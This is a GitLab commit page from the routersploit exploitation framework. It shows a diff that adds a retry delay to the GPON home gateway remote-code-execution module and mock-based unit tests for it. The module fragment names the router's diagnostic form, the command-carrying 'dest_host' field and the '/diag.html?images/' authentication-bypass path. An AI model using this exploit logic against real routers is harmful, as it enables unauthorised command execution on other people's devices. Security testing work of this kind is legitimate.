Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
ba4f7345
Unverified
Commit
ba4f7345
authored
May 19, 2018
by
Marcin Bury
Committed by
GitHub
May 19, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding delay for retrieving results (#427)
parent
32f78f8f
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
49 additions
and
6 deletions
+49
-6
gpon_home_gateway_rce.py
...t/modules/exploits/routers/multi/gpon_home_gateway_rce.py
+9
-0
test_gpon_home_gateway_rce.py
tests/exploits/routers/multi/test_gpon_home_gateway_rce.py
+40
-6
No files found.
routersploit/modules/exploits/routers/multi/gpon_home_gateway_rce.py
View file @
ba4f7345
import
re
from
time
import
sleep
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
...
...
@@ -45,6 +46,14 @@ class Exploit(HTTPClient):
data
=
data
)
response
=
self
.
retrieve_response
()
if
not
response
:
sleep
(
3
)
response
=
self
.
retrieve_response
()
return
response
def
retrieve_response
(
self
):
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
"/diag.html?images/"
...
...
tests/exploits/routers/multi/test_gpon_home_gateway_rce.py
View file @
ba4f7345
import
time
from
unittest
import
mock
from
flask
import
request
from
routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce
import
Exploit
mark
=
""
first_req
=
0
def
apply_response1
(
*
args
,
**
kwargs
):
global
mark
global
mark
,
first_req
first_req
=
time
.
time
()
mark
=
request
.
form
[
"dest_host"
]
return
"Test"
,
200
def
apply_response2
(
*
args
,
**
kwargs
):
global
mark
def
apply_response_without_waiting
(
*
args
,
**
kwargs
):
global
mark
,
first_req
response
=
"diag_result =
\"
{}
\\
nNo traceroute test."
.
format
(
mark
)
print
(
response
)
return
response
,
200
def
apply_response_with_waiting
(
*
args
,
**
kwargs
):
global
mark
,
first_req
response
=
"diag_result =
\"
{}
\\
nNo traceroute test."
.
format
(
mark
)
if
time
.
time
()
-
first_req
>
3
:
return
response
,
200
else
:
return
"diag_result =
\"\\
nNo traceroute test."
,
200
@mock.patch
(
"routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell"
)
def
test_check_success
(
mocked_shell
,
target
):
""" Test scenario - successful check without waiting """
route_mock1
=
target
.
get_route_mock
(
"/GponForm/diag_Form"
,
methods
=
[
"POST"
])
route_mock1
.
side_effect
=
apply_response1
route_mock2
=
target
.
get_route_mock
(
"/diag.html"
,
methods
=
[
"GET"
])
route_mock2
.
side_effect
=
apply_response_without_waiting
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
@mock.patch
(
"routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell"
)
def
test_check_success
(
mocked_shell
,
target
):
""" Test scenario - successful check """
""" Test scenario - successful check
with waiting
"""
route_mock1
=
target
.
get_route_mock
(
"/GponForm/diag_Form"
,
methods
=
[
"POST"
])
route_mock1
.
side_effect
=
apply_response1
route_mock2
=
target
.
get_route_mock
(
"/diag.html"
,
methods
=
[
"GET"
])
route_mock2
.
side_effect
=
apply_response
2
route_mock2
.
side_effect
=
apply_response
_with_waiting
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment